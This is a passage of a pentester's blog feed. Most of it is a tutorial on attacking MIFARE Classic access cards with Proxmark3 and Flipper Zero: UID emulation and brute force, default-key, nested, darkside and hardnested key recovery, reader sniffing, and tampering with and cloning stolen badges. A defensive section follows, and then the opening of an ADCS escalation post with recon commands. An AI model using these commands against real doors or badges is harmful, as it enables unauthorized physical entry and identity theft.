</code></pre></div></div>

<p><img src="/images/2023-01-14/pm3_write_uid.png" /></p>

<p>or even emulate the UID with the PM3 Easy:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf mf sim -u 55&lt;redacted&gt;F --atqa 0004 --sak 08 --1k
</code></pre></div></div>

<p><img src="/images/2023-01-14/pm3_emulate_uid.png" /></p>

<h2 id="brute-force-uids">Brute force UIDs</h2>

<p>It is possible to brute force UIDs and as such get access to locked doors and stuff, when they only rely on the UID. But, be aware that this takes a shitload of time, and I doubt you want to stand in front of a door for days to brute force your way in, not looking suspicious at all.</p>

<p><img src="/images/2023-01-14/not_suspicious.gif" /></p>

<p>Just for the sake of completeness:</p>

<h3 id="flipper-1">Flipper</h3>

<p>I only found the RFID Fuzzer in the Unleashed Flipper Firmware, but nothing for NFC UIDs.</p>

<h3 id="pm3-1">PM3</h3>

<p>Define a starting and ending UID through which to cycle:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>script run hf_mf_uidbruteforce -s 0x11223344 -e 0x11223346 -t 1000 -x mfc
</code></pre></div></div>

<p><img src="/images/2023-01-14/pm3_uid_bf.png" /></p>

<p>You can skip each UID with the press of the PM3 button.</p>

<h1 id="attacks-against-secured-tags">Attacks Against Secured Tags</h1>

<p>Now to the attacks related to retrieve the keys to “open” the sectors - so to say when people at least tried to implement security.</p>

<h2 id="standard-keys">Standard Keys</h2>

<p>Some tags just use the standard / default keys <code class="language-plaintext highlighter-rouge">FFFFFFFFFFFF</code>, <code class="language-plaintext highlighter-rouge">A0A1A2A3A4A5</code> or <code class="language-plaintext highlighter-rouge">000000000000</code> for “protecting” their data. These should definitely be checked first.</p>

<p><img src="/images/2023-01-14/securingkeys_meme.png" /></p>

<h3 id="flipper-2">Flipper</h3>

<p>Flipper does this by default, and uses it’s integrated dictionary where these keys are implemented. Just read the tag via the NFC menu.</p>

<p><img src="/images/2023-01-14/flipper_default_keys.png" /></p>

<h3 id="pm3-2">PM3</h3>

<p>We can either choose the old standard method <code class="language-plaintext highlighter-rouge">chk</code> or the speed optimized <code class="language-plaintext highlighter-rouge">fchk</code> variant. I honestly don’t know why or when to use the slower one.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf mf chk
or
hf mf fchk
</code></pre></div></div>
<p><img src="/images/2023-01-14/pm3_check_keys.png" /></p>

<p>If <code class="language-plaintext highlighter-rouge">res</code> = <code class="language-plaintext highlighter-rouge">1</code> the sector was read successfully, and if <code class="language-plaintext highlighter-rouge">0</code> - well you know.<br />
You can see that we were able to pop open some but not all sectors.<br />
You can also see that sector 0 is protected by the default key <code class="language-plaintext highlighter-rouge">A0A1A2A3A4A5</code> so every reader can check it.</p>

<h2 id="brute-force--wordlist-attacks">Brute Force / Wordlist Attacks</h2>

<p>We can try to guess the keys. Some keys are known to be used by specific vendors. PM3, the official Flipper Zero and the Unleashed version all have their own dictionaries with those keys included.<br />
Brute force would be another option. Given the keyspace and speed, no one is doing it.<br />
If you happen to stumble upon new keys -&gt; you know sharing is caring. Contribute to the lists available to extend them and help others.</p>

<h3 id="flipper-3">Flipper</h3>

<p>Flipper will automatically use the user dictionary first (if available) when trying to recover keys. They are stored under <code class="language-plaintext highlighter-rouge">SD-card/nfc/assets/mf_classic_dict_user.nfc</code> on your SD card.<br />
After that, the build-in list is used. This is the case for both fw versions.<br />
You can fetch one e.g. from <a href="https://github.com/UberGuidoZ/Flipper/tree/main/NFC/mf_classic_dict">here</a> or <a href="https://github.com/RfidResearchGroup/proxmark3/tree/master/client/dictionaries">here</a>.</p>

<p><img src="/images/2023-01-14/user_dict.png" /></p>

<p><img src="/images/2023-01-14/User_dict_usage.png" /></p>

<h3 id="pm3-3">PM3</h3>

<p>We can use the lists that come with the PM3 software, which can be found under <code class="language-plaintext highlighter-rouge">./client/dictionaries</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf mf chk -f &lt;your-dictionary.dic&gt;
hf mf fchk -f &lt;your-dictionary.dic&gt;
</code></pre></div></div>

<p><img src="/images/2023-01-14/pm3_wordlistattack.png" /></p>

<h1 id="attacks-against-weak-crypto">Attacks Against Weak Crypto</h1>

<p>The MIFARE technology makes use of so called <code class="language-plaintext highlighter-rouge">P</code>seudo <code class="language-plaintext highlighter-rouge">R</code>andom <code class="language-plaintext highlighter-rouge">N</code>umber <code class="language-plaintext highlighter-rouge">G</code>enerators - <code class="language-plaintext highlighter-rouge">PRNG</code> - which is an alogorithm used to generate random numbers that are used in the cryptographical implementation when generating <code class="language-plaintext highlighter-rouge">nonces</code> (Number used once).<br />
In this case this is the propriatary <a href="https://en.wikipedia.org/wiki/Crypto-1">CRYPTO-1</a> from NXP.<br />
The nonces are send during the initial authentication of tag and reader, and used in a type of challenge response process to validate the tag.</p>

<p>There are implementations with weak PRNGs and ones with hardened implementations (I think for the Classic MIFARE these came with the EV1 version).</p>

<p><img src="/images/2023-01-14/mfc_weak_hard.png" /></p>

<p>When CRYPTO-1 was completely reverse engineered in 2008 by some dudes from the Radboud University in the Netherlands (<a href="https://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf">Dismantling MIFARE Classic</a>), the so called <code class="language-plaintext highlighter-rouge">CRAPTO-1</code> library was released as open-source counterpart to the original, which opened the door for several tools and attacks against MIFARE tags implementing the broken crypto.</p>

<h2 id="nested-attack">Nested Attack</h2>

<p>When the PRNG is detected to be <code class="language-plaintext highlighter-rouge">low</code> the keys can be retrieved by the so called <code class="language-plaintext highlighter-rouge">nested</code> attack. It’s an offline attack, meaning we only need the tag and no reader.<br />
The only other prerequisit is that we need to know at least one valid key to no matter what sector.<br />
It is a timing attack against the so called <code class="language-plaintext highlighter-rouge">L</code>inear <code class="language-plaintext highlighter-rouge">F</code>eedback <code class="language-plaintext highlighter-rouge">S</code>hift <code class="language-plaintext highlighter-rouge">R</code>egister - <code class="language-plaintext highlighter-rouge">LFSR</code>, and allows an attacker to calculate valid keys based on one known key.<br />
A good explaination can be found in this <a href="https://securityguill.com/nfc_mifare.html">article</a>.</p>

<p>What we basically do is with e.g. a known key A of block 0, we can recover key A of block 4.</p>

<p>This attack is sometimes refered to as the <code class="language-plaintext highlighter-rouge">MFOC</code> attack, but the <code class="language-plaintext highlighter-rouge">M</code>I<code class="language-plaintext highlighter-rouge">F</code>ARE Classic <code class="language-plaintext highlighter-rouge">O</code>ffline <code class="language-plaintext highlighter-rouge">C</code>racker is just the name of a <a href="https://github.com/nfc-tools/mfoc">tool</a>, that implented this (and later also the hardnested) attack.</p>

<h3 id="flipper-4">Flipper</h3>

<p>Well, the good ol’ dolphin is not capable of doing things like this.</p>

<h3 id="pm3-4">PM3</h3>

<p>Let’s take our example of the weak tag, where we ended up with this, after trying the default keys:</p>

<p><img src="/images/2023-01-14/pm3_nested1.png" /></p>

<p>Sector 1, which consists of blocks 4-7, can be accessed with the <code class="language-plaintext highlighter-rouge">A</code> and <code class="language-plaintext highlighter-rouge">B</code> key of <code class="language-plaintext highlighter-rouge">FFFFFFFFFFFF</code>.<br />
According to the intro, we are now able to use key <code class="language-plaintext highlighter-rouge">A</code> of block 4 to derive the <code class="language-plaintext highlighter-rouge">A</code> key of block 8 which is the first one in sector 2:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf mf nested --blk 4 -a -k FFFFFFFFFFFF --tblk 8 --ta
</code></pre></div></div>

<p>Et voila, we got the next <code class="language-plaintext highlighter-rouge">A</code> key:</p>

<p><img src="/images/2023-01-14/pm3_nested2.png" /></p>

<p>This ping-pong can be continued, until we have recovered all keys.</p>

<p>For you lazy ass script-kiddies the mf3 software contains an <code class="language-plaintext highlighter-rouge">autopwn</code> feature, which will automagically determine what tag it is dealing with, and carry out all attack steps needed to pop it open:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf mf autopwn
</code></pre></div></div>

<p><img src="/images/2023-01-14/pm3_autopwn.png" /></p>

<p><img src="/images/2023-01-14/hackerman.png" /></p>

<p><img src="/images/2023-01-14/pm3_cracked.png" /></p>

<p>The data can now be dumped, manipulated, emulated, copied - you name it.</p>

<h2 id="darkside-attack-or-key-stream-recovery-attack">Darkside Attack or Key Stream Recovery Attack</h2>

<p><img src="/images/2023-01-14/vader_meme.png" /></p>

<p>This attack is where you most probably want to start of, if you have no key at all. The attack will allow you to retrieve a valid key A or B.<br />
If we don’t have at least one key but are dealing with an exploitable tag, we can switch to the so called <a href="https://eprint.iacr.org/2009/137.pdf">darkside</a> attack. This again abuses flaws in the PRNG implementaion of CRYPTO-1 chained together with according error responses that eventually lead to leaking bits of the keystream which allows to recover actual sector keys. As this attack can take a hell lot of time, you most likely want to only recover one key, and than continue with the nested attack.<br />
As far as I understood - and I hate math and am too dumb for it - something like this happens during the cipher initialization phase:</p>

<p><img src="/images/2023-01-14/Authentication+&amp;+initialization.jpg" /></p>

<ul>
  <li>Tag and reader each chose and exchange random nonces <code class="language-plaintext highlighter-rouge">Nt</code> and <code class="language-plaintext highlighter-rouge">Nr</code> respectively</li>
  <li>Some mathematical operation based on these values is taking place  ¯\<em>(ツ)</em>/¯</li>
  <li>Some (8 in total) parity bits are checked by the tag before the actual results of the mathematical operations are validated  ¯\<em>(ツ)</em>/¯</li>
  <li>If all 8 parity bits are incorrect the tag won’t answer the reader</li>
  <li>If all 8 parity bits are correct, but the rest is incorrect, the tag will respond with a 4-bit error-code of <code class="language-plaintext highlighter-rouge">0x5</code> also known as <code class="language-plaintext highlighter-rouge">NACK</code> indicating a problem during transmission</li>
  <li>As this error code is of a fixed value an attacker can recover some parts of the keystream when this error occurs</li>
</ul>

<p>Please read slides no. 14 and 22 of the <a href="https://www.blackhat.com/docs/sp-14/materials/arsenal/sp-14-Almeida-Hacking-MIFARE-Classic-Cards-Slides.pdf">Blackhat talk from 2014</a> and the before mentioned whitepaper to (maybe) fully understand it.</p>

<p>Some people also refer to the attack as <code class="language-plaintext highlighter-rouge">MFCUK attack</code> . However, <code class="language-plaintext highlighter-rouge">MFCUK</code> stands for <code class="language-plaintext highlighter-rouge">M</code>I<code class="language-plaintext highlighter-rouge">F</code>ARE <code class="language-plaintext highlighter-rouge">C</code>lassic <code class="language-plaintext highlighter-rouge">U</code>niversal tool<code class="language-plaintext highlighter-rouge">K</code>it, and is the name of a tool build around this attack. It is part of the <code class="language-plaintext highlighter-rouge">nfc-tools</code> github repo and can be found <a href="https://github.com/nfc-tools/mfcuk">here</a>.</p>

<h3 id="floppy">Floppy</h3>

<p><img src="/images/2023-01-14/flippercant_meme.png" /></p>

<h3 id="pm3-5">PM3</h3>

<p>Unfortunately I don’t have a tag that is prone to this type of attack. But the syntax again is simple.</p>

<p><code class="language-plaintext highlighter-rouge">
hf mf darkside
</code></p>

<p><img src="/images/2023-01-14/pm3_darkside.png" /></p>

<p>Ofcourse you can use <code class="language-plaintext highlighter-rouge">autopwn</code> here as well.</p>

<h2 id="hardnested-attack">Hardnested Attack</h2>

<p>If you happen to stumble upon a MIFARE Classic tag with a good PRNG, you can still attack it offline with the hardnested attack. The <a href="http://www.cs.ru.nl/~rverdult/Ciphertext-only_Cryptanalysis_on_Hardened_Mifare_Classic_Cards-CCS_2015.pdf">technical details</a> are again proudly brought to you buy the dutch guys.<br />
Unfortunately a prerequisit here is, like with the normal nested attack, that you need to have at least one known key to carry out the hardnested attack. Besides that, the attack flow is the same. <br />
I wasn’t able to understand anything from the paper, nor was I able to find some highlevel stuff explaining it for dummies. All I know is that we are again talking about flaws in CRYPTO-1. Feel free to enlighten me if you can explain it like I am 5.</p>

<h3 id="flopper">Flopper</h3>

<p>Nope</p>

<h3 id="pm3-6">PM3</h3>

<p>Same syntax as with the nested attack, however …</p>

<p>… drum roll …</p>

<p>… this time we write <code class="language-plaintext highlighter-rouge">hardnested</code> instead of just <code class="language-plaintext highlighter-rouge">nested</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf mf hardnested --blk 4 -a -k FFFFFFFFFFFF --tblk 8 --ta
</code></pre></div></div>

<p>Awesome!!!</p>

<p><img src="/images/2023-01-14/pm3_hardnested_start.png" /><br />
<img src="/images/2023-01-14/pm3_hardnested_result.png" /></p>

<p>From here redo for the next sector.</p>

<p>And yes you can use <code class="language-plaintext highlighter-rouge">autopwn</code>.</p>

<h2 id="reader-attack">Reader Attack</h2>

<p>Your last resort if all the above mentioned attacks aren’t working.<br />
In this scenario we piggyback or emulate a valid tag to collect nonces directly from communication with a valid reader.<br />
The collected nonces allow an attacker to calculate keys out of the bit stream, and if we recover one key -&gt; you by now know what to do.</p>

<h3 id="flipper-5">Flipper</h3>

<p>Hey he is back. Well, at least theoretically. I didn’t get the attack working with the setup I had.<br />
Nonces can be collected by either emulating a random tag or, and this is recommended, by emulating a cloned tag. This also seems to be the problem, as the Flipper currently is not capable of fully emulating every MIFARE Classic tag available out there it seems.<br />
See <a href="https://twitter.com/theluemmel/status/1614928615040483334">here</a> for some references.<br />
If you can emulate a tag successfully, it should go like this:</p>

<p><img src="/images/2023-01-14/Detectreader.gif" /></p>

<p>When approaching the reader, your screen will change to something like this:</p>

<p><img src="/images/2023-01-14/flipper_collect.png" /></p>

<p>It will most likely ask you to move the Flipper away and then re-approach the reader several times, until enough nonces were collected.<br />
This will result in an <code class="language-plaintext highlighter-rouge">.mfkey32.log</code> hidden file in your nfc folder:</p>

<p><img src="/images/2023-01-14/flipper_mfkeylog.png" /></p>

<p>This file can now be parsed with the help of the awesome <a href="https://github.com/equipter/mfkey32v2">mfkey32</a> tool, which offers a variety of ways to do it, which will ultimately give you some keys to start with.</p>

<h3 id="pm3-7">PM3</h3>

<p>The Proxmark3 will automagically try to extract keys from sniffing communication between a real tag and reader, and as far as I know this is also implemented with the mfkey32 stuff.  <br />
You want to sandwich your tag, PM3 and reader to get the best results, because we are actually sniffing the real communication (it should also be possible with the emulation mode I guess):</p>

<p><img src="/images/2023-01-14/pm3_sandwich.png" /> 
<img src="/images/2023-01-14/pm3_sandwich2.png" /></p>

<p>As you can see, I unscrewed the LF antenna as well as the two “front” screws, so I can place the tag closer to the HF antenna and approach the reader as close as possible.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf 14a sniff -rc
</code></pre></div></div>
<p>Press PM3 button to stop the sniffing</p>

<p>To show the trace and apply the mifare decoding to it we run</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>trace list -1 -t mf
</code></pre></div></div>
<p><img src="/images/2023-01-14/pm3_tracesniff1.png" /></p>

<p>If you are lucky, the trace will give you keys:</p>

<p><img src="/images/2023-01-14/pm3_tracesniff2.png" /></p>

<p>If you happen to be on some kind of engagement, you can save the dump for later usage to disk, because if you turn off the PM3, everything in memory will be lost.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>trace save -f dump
trace load -f dump.trace
</code></pre></div></div>

<h2 id="tamper-data">Tamper Data</h2>

<p>But what if you were only able to steal the tag of some low privileged user you might ask.<br />
Well in certain circumstances you might be of luck, and the encrypted data will reveal you what to do, like being able to tamper some ID that is stored in sector 5 of whatever.<br />
Once you have access to all the data in the tags sectors, you can dump the content, tamper it, and then for instance emulate the tampered tag or write it to a magic tag.</p>

<h3 id="flapflop">Flapflop</h3>

<p>Well, as the little dolphin wasn’t able to emulate MIFARE tags in my case, I didn’t follow this trail in depth.<br />
From the device’s menu you can’t tamper the data at all.<br />
But, if Flipper was able to recover all keys, you can access the data in the according <code class="language-plaintext highlighter-rouge">.nfc</code> files on the SD card, tamper the values, write it back to Flipper, and emulate the tag.</p>

<h3 id="pm3-8">PM3</h3>

<p>If we successfully dumped a tag’s content, we can tamper the data in the emulator’s memory directly:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf mf esetblk --blk 1 -d 31323331323300000000000000000000
</code></pre></div></div>

<p>The data you provide is <code class="language-plaintext highlighter-rouge">HEX</code>, so in this case <code class="language-plaintext highlighter-rouge">31323331323300000000000000000000</code> in text is <code class="language-plaintext highlighter-rouge">123123</code>.</p>

<p>Once changed, we can either emulate the “new” tag or write it to another tag, in this case a magic tag:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf mf sim --1k
or 
hf mf esave -f filename
hf mf cload -f filename.bin
</code></pre></div></div>

<h1 id="conclusion--defenses">Conclusion / Defenses</h1>

<p>This blog post was just an introduction to a small subset of stuff related to the whole RFID / NFC world. There is much more to test, experiment with and pwn. A cheap PM3 Easy or a Flipper can be good friends in the beginning. 
I had a lot of fun testing things out, and wan’t to especially thank my current company and my boss, that allowed me to also “play around” with these tools and technology during my work-time.</p>

<ul>
  <li>If you want to be on the safe(r) side, use more advanced technology like MIFARE DESFire, that is not prone to the attacks described here.<br />
Attacks against these hardened tags may be relay attacks. Please find these resources to further get along:<br />
https://github.com/nfcgate/nfcgate<br />
https://www.usenix.org/conference/woot20/presentation/klee<br />
https://www.cs.tufts.edu/comp/116/archive/fall2017/mluo.pdf</li>
  <li>Use setups that detect magic tags, so if an attacker was able to dump your card, but only tries to enter your building with a clone, you can detect him at the gate. Be aware, that there are ways around this with the availability of magic gen 2 tags.</li>
  <li>Use setups with tamper protection. There are attacks that use implants inside the legit readers to sniff and dump data. You want an alarm popping up when this happens.</li>
  <li>Train people to not expose their tags when not needed. Wear your badges hidden when not on the campus, and be aware that these things are / can be like keys to the kingdom’s heart.</li>
  <li>Don’t rely on things like vendor statements and marketing bullshit! Get your stuff tested and challenged - regularely.</li>
</ul>

<h1 id="ressources">Ressources</h1>

<p><a href="https://www.abr.com/what-is-rfid-how-does-rfid-work/">https://www.abr.com/what-is-rfid-how-does-rfid-work/</a><br />
<a href="https://www.abr.com/passive-rfid-tags-vs-active-rfid-tags/">https://www.abr.com/passive-rfid-tags-vs-active-rfid-tags/</a><br />
<a href="https://www.techtarget.com/iotagenda/definition/RFID-radio-frequency-identification">https://www.techtarget.com/iotagenda/definition/RFID-radio-frequency-identification</a><br />
<a href="https://wlius.com/blog/rfid-vs-nfc-whats-the-difference/">https://wlius.com/blog/rfid-vs-nfc-whats-the-difference/</a><br />
<a href="https://jjensn.com/mifare-easy-targets/">https://jjensn.com/mifare-easy-targets/</a><br />
<a href="https://securityguill.com/nfc_mifare.html">https://securityguill.com/nfc_mifare.html</a><br />
<a href="https://smartlockpicking.com/slides/Confidence_A_2018_Practical_Guide_To_Hacking_RFID_NFC.pdf">https://smartlockpicking.com/slides/Confidence_A_2018_Practical_Guide_To_Hacking_RFID_NFC.pdf</a><br />
<a href="https://eprint.iacr.org/2009/137.pdf">https://eprint.iacr.org/2009/137.pdf</a><br />
<a href="https://www.blackhillsinfosec.com/rfid-proximity-cloning-attacks/">https://www.blackhillsinfosec.com/rfid-proximity-cloning-attacks/</a><br />
<a href="https://www.blackhat.com/docs/sp-14/materials/arsenal/sp-14-Almeida-Hacking-MIFARE-Classic-Cards-Slides.pdf">https://www.blackhat.com/docs/sp-14/materials/arsenal/sp-14-Almeida-Hacking-MIFARE-Classic-Cards-Slides.pdf</a></p>

<h1 id="acknowledgement">Acknowledgement</h1>

<p>Big shoutout to all you awesome people sharing knowledge and tools:<br />
<a href="https://twitter.com/herrmann1001">iceman</a> for his awesome work in so many aspects of this field<br />
<a href="https://twitter.com/paprikasunday">jjensn</a> for his cool blog<br />
<a href="https://twitter.com/SecurityGuill">Guillaume Leplat</a> for his cool blog <br />
<a href="https://twitter.com/slawekja">Sławomir Jasek</a> for one of the coolest slide decks ever<br />
<a href="https://twitter.com/llcoder">Ray Felch</a> for the cool post at BHIS<br />
<a href="https://twitter.com/marcioalm">Márcio Almeida</a> for his cool BlackHat talk<br />
And all the ones I forgot to mention of where I couldn’t find enough info.</p>

<p>Stay safe and happy pwning.<br />
LuemmelSec</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Hello everyone and a happy new year (well, aparently you can see how long it took me to finish this masterpiece :) ). This time we will low dive a little into the world of RFID and NFC. Did you ever want to scare the shit out of your customer in regards to the security of his door locking system? Do you think it is cool to open gates with a Flipper Zero? You like yourself some close combat Red Teaming? Get your Flipper Zero and Proxmarks ready and follow along, as we cover some basics and carry out a variety of attacks. As this is absolute uncharted territory for me, this will (like almost always) be very beginner friendly.]]></summary></entry><entry><title type="html">Skidaddle Skideldi - I just pwnd your PKI</title><link href="https://luemmelsec.github.io/Skidaddle-Skideldi-I-just-pwnd-your-PKI/" rel="alternate" type="text/html" title="Skidaddle Skideldi - I just pwnd your PKI" /><published>2022-09-16T00:00:00+00:00</published><updated>2022-09-16T00:00:00+00:00</updated><id>https://luemmelsec.github.io/Skidaddle-Skideldi-I-just-pwnd-your-PKI</id><content type="html" xml:base="https://luemmelsec.github.io/Skidaddle-Skideldi-I-just-pwnd-your-PKI/"><![CDATA[<p>My dear Bagginses and Boffins, Tooks and Brandybucks, Grubbs, Chubbs, Hornblowers, Bolgers, Bracegirdles and Proudfoots - it is time for some new shit.<br />
We are going to explore the wonderful world of Active Directory Certificate Services, aka ADCS.<br />
If you want to leave an impression on your next pentest, this one’s for you, as Microsoft’s PKI implementation is widely used but little understood (well at least in terms of security).<br />
Same is true if you live on the blue side, as you can proactively mitigate issues an earn some bonus points with your boss, maybe.<br />
Prepare yourself for a shitload of pictures, memes, usefull as well as meaningless information.</p>

<p><img src="/images/2022-09-16/pwndpki_meme.png" /></p>

<!--more-->
<h1 id="introduction">Introduction</h1>

<p>If you have not already done so, go and read the fundamental work which this blog relies on: <a href="https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf">Certified Pre-Owned</a>.<br />
It is the research from the SpecterOps guys <a href="https://twitter.com/harmj0y">Will Schroeder</a> and <a href="https://twitter.com/tifkin_">Lee Christensen</a> in the field of ADCS abuses and their mitigations.</p>

<p>If you are just here to pwn stuff, you can directly jump to your desired section:<br />
<a href="#esc1">ESC 1</a><br />
<a href="#esc2">ESC 2</a><br />
<a href="#esc3">ESC 3</a><br />
<a href="#esc4">ESC 4</a><br />
<a href="#esc5">ESC 5</a><br />
<a href="#esc6">ESC 6</a><br />
<a href="#esc7">ESC 7</a><br />
<a href="#esc8">ESC 8</a><br />
<a href="#certifried">Certifried</a><br />
<a href="#esc9">ESC 9</a><br />
<a href="#esc10">ESC 10</a></p>

<h2 id="so-what-is-adcs">So what is ADCS?</h2>

<p><img src="/images/2022-09-16/sponge.png" /></p>

<p>The <strong>A</strong>ctive <strong>D</strong>irectory <strong>C</strong>ertificate <strong>S</strong>ervice(s) is one of the 5 main Active Directory services from Microsoft, included (or at least installable) since Windows Server 2008 -&gt; <a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd578336(v=ws.10)?redirectedfrom=MSDN">Microsoft</a>. During my pentests, I have not seen one environment, where ADCS was not installed and in use.<br />
It’s Microsoft’s <a href="https://en.wikipedia.org/wiki/Public_key_infrastructure"><strong>P</strong>ublic <strong>K</strong>ey <strong>I</strong>nfrastructure</a> implementation for AD, or if you are as dumb as me, the service that introduces and handles certificates to your Active Directory.<br />
Certificates can be used to authenticate users and computers, proof validity of a website (you know the little thingy in your browsers searchbar, where it warns you when the cert is invalid) or signing, e.g. a PowerShell script or executable.</p>

<p>During their research, Will and Lee stumbled upon a lot of possible ways to abuse ADCS, and have the Certificate Authority do things like issue certs for other users to us, relay a Domain Controller’s authentication to the cert enrollment endpoint, so we could “become” a Domain Controller, and so on. They split the attacks into certain groups, which are: Theft, Persistence, Escalation and Domain Persistence. We will mainly (and maybe only) focus on the escalation ones in this blog post.</p>

<p>Later on <a href="https://twitter.com/ly4k_">Oliver Lyak</a> extended the list of vulns (Certifried, ESC9&amp;10) and even wrote according tools to abuse those. Big shoutout to you as well buddy.</p>

<h2 id="and-how-does-it-work">And how does it work?</h2>

<p>Well, there are some components/terms that we first need to be aware of:</p>

<ul>
  <li><strong>C</strong>ertificate <strong>A</strong>uthortiy: That is the PKI server that generates and issues the certificates</li>
  <li>Enterprise CA: The AD integrated CA, which offers certificate templates</li>
  <li>Certificate Template: Thats like a blueprint for a cert, which defines what a cert is for, what an enrollee needs to supply as info, who is allowed to enroll and so on</li>
  <li><strong>C</strong>ertificate <strong>S</strong>igning <strong>R</strong>equest: That is the data one sends to the CA in order to get a cert</li>
  <li><strong>E</strong>xtended <strong>K</strong>ey <strong>U</strong>sage: These are OIDs that define what a cert can be used for, for example signing, authentication etc.</li>
  <li>Certificate: A digitally signed (by the CA) “document” that can be used for the stuff specified within the EKU. It ties an identity to a key pair (public/private), which allows applications to identify them.</li>
  <li>Subject: The identity the cert is bound to</li>
  <li>PKINIT: A Kerberos extension that enables the usage of certs to request tickets</li>
</ul>

<p>To give you an overview of how a cert is issued, have a look at the following pic:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center"><img src="/images/2022-09-16/certissue.png" /></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><em>from <a href="https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf">Certified Pre-Owned</a></em></td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>A certificate is an X.509-formatted digitally signed document used for encryption, message
signing, and/or authentication. A certificate typically has various fields, including some of the
following:</p>
  <ul>
    <li>Subject - The owner of the certificate.</li>
    <li>Public Key - Associates the Subject with a private key stored separately.</li>
    <li>NotBefore and NotAfter dates - Define the duration that the certificate is valid.</li>
    <li>Serial Number - An identifier for the certificate assigned by the CA.</li>
    <li>Issuer - Identifies who issued the certificate (commonly a CA).</li>
    <li>SubjectAlternativeName - Defines one or more alternate names that the Subject may go by.</li>
    <li>Basic Constraints - Identifies if the certificate is a CA or an end entity, and if there are any constraints when using the certificate.</li>
    <li>Extended Key Usages (EKUs) - Object identifiers (OIDs) that describe how the certificate will be used. Also known as Enhanced Key Usage in Microsoft parlance. Common EKU OIDs include:
      <ul>
        <li>Code Signing (OID 1.3.6.1.5.5.7.3.3) - The certificate is for signing executable code.</li>
        <li>Encrypting File System (OID 1.3.6.1.4.1.311.10.3.4) - The certificate is for encrypting file systems.</li>
        <li>Secure Email (1.3.6.1.5.5.7.3.4) - The certificate is for encrypting email.</li>
        <li>Client Authentication (OID 1.3.6.1.5.5.7.3.2) - The certificate is for authentication to another server (e.g., to AD).</li>
        <li>Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2) - The certificate is for use in smart card authentication.</li>
        <li>Server Authentication (OID 1.3.6.1.5.5.7.3.1) - The certificate is for identifying servers (e.g., HTTPS certificates).</li>
      </ul>
    </li>
    <li>Signature Algorithm - Specifies the algorithm used to sign the certificate.</li>
    <li>Signature - The signature of the certificates body made using the issuer’s (e.g., a CA’s) private key</li>
  </ul>
</blockquote>

<p>– <cite><em>also from <a href="https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf">Certified Pre-Owned</a></em></cite></p>

<p>I will try to walk you and me through all the possible misconfigurations, as well as pwning them.<br />
So without further ado - let’s have some fun.</p>

<h1 id="scenarios">Scenarios</h1>
<p>In the following we will dive through all the different escalation scenarios.</p>

<h2 id="general-recon">General recon</h2>

<p>To gather general info about the CAs in the Domain we can use:</p>

<p><a href="https://social.technet.microsoft.com/wiki/contents/articles/3063.certutil-examples-for-managing-active-directory-certificate-services-ad-cs-from-the-command-line.aspx#View_CA_Configuration">certutil</a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certutil -dump
</code></pre></div></div>
<p><img src="/images/2022-09-16/recon_1.png" /></p>

<p><a href="https://github.com/GhostPack/Certify">Certify</a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Certify.exe cas
</code></pre></div></div>
<p><img src="/images/2022-09-16/recon_2.png" /></p>

<p><a href="https://github.com/ly4k/Certipy">Certipy</a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Certipy find -u 'lowpriv@mcafeelab.local' -p 'low' -dc-ip '10.55.0.2' -stdout
</code></pre></div></div>
<p><img src="/images/2022-09-16/recon_3.png" /></p>

<p>Or we could just open the according mmc snap-ins on the CA itself - GUI style so to say.</p>

<h2 id="esc1">ESC1</h2>
<p>In this scenario we are dealing with a misconfigured certificate template, which allows normal users to enroll. The template allows client authenticataion and the requester can specify a <code class="language-plaintext highlighter-rouge">subjectAltName (SAN)</code>. There is also no manager approval -&gt; the request gets auto approved. The <code class="language-plaintext highlighter-rouge">SAN</code> allows the cert to hold one or more additional identities beyond the subject itself, which’s main purpose is in the context of webservers. For AD authentication, the SAN normaly holds the UPN of the according identity, which is then mapped to an AD account. If you followed along closely, you probably noticed that if we can control the SAN, we can become whoever we like to.</p>

<p><img src="/images/2022-09-16/dameme.png" /></p>

<h3 id="what-it-looks-like-in-ad">What it looks like in AD</h3>
<p>We have <code class="language-plaintext highlighter-rouge">Client Authentication</code> as purpose:<br />
<img src="/images/2022-09-16/ESC1_1.png" /></p>

<p>All domain users can enroll:<br />
<img src="/images/2022-09-16/ESC1_2.png" /></p>

<p>Enrolee supplies the subject:<br />
<img src="/images/2022-09-16/ESC1_3.png" /></p>

<p>No manager approval:<br />
<img src="/images/2022-09-16/ESC1_4.png" /></p>

<h3 id="recon">Recon</h3>
<p>Well, you could probably just open <code class="language-plaintext highlighter-rouge">certmgr.msc</code> and look if any of the templates ask for additional input, and then check if you can supply a SAN.<br />
However, we can also issue the tools mentioned above to automate this.</p>

<h4 id="native-powershell">Native PowerShell</h4>

